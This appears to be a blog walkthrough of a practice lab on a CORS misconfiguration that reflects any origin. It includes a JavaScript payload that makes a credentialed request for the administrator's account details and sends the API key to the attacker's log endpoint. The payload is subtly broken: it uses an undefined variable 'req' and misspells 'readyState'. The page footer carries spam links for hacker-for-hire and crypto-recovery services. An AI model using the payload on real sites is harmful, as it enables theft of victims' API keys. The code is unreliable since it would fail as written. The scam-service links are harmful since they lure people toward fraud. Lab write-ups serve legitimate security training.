CORS Vulnerability with Basic Origin Reflection | 2023 | by Karthikeyan Nagaraj | Feb, 2023

CORS Vulnerability with Basic Origin Reflection | 2023 | by Karthikeyan Nagaraj | Feb, 2023

Lab Description:

  • This website has an insecure CORS configuration in that it trusts all origins.
  • To solve the lab, craft some JavaScript that uses CORS to retrieve the administrator’s API key and upload the code to your exploit server.
  • The lab is solved when you successfully submit the administrator’s API key.
  • You can log in to your own account using the following credentials: wiener:peter

Analysis:

  1. Turn your proxy On and Turn Off your Intercept Off
  2. Now Login with the Credentials wiener:peter
  3. Now on the Proxy tab click on HTTP History and Look at the /accountDetails request

4. Observe that your key is retrieved via an AJAX request to /accountDetails, and the response contains the Access-Control-Allow-Credentials header suggesting that it may support CORS.

5. Now, go to the exploit server and type the Following payload with your LAB-ID

<script>
var xhr= new XMLHttpRequest();
var url = "https://YOUR_LAB_ID.web-security-academy.net"

req.onreadystatechange = function() {
if (xhr.readystate == XMLHttpRequest.DONE){
fetch("/log?key=" + xhr.responseText)
}
}

xhr.open('GET', url + "/accountDetails", true);
xhr.withCredentials = true;
xhr.send(null)
</script>

6. View and Deliver Exploit to the Victim

7. Now you will get the API key of the Victim, Submit the key in the solution to solve the Lab

administrator

Leave a Reply

Your email address will not be published. Required fields are marked *

fb logo
recover dogecoin from a scam
recover ethereum from a scammer
hire a hacker to hack iphone
hire a hacker to hack snapchat
hire a hacker to hack a windows computer
error: Content is protected !!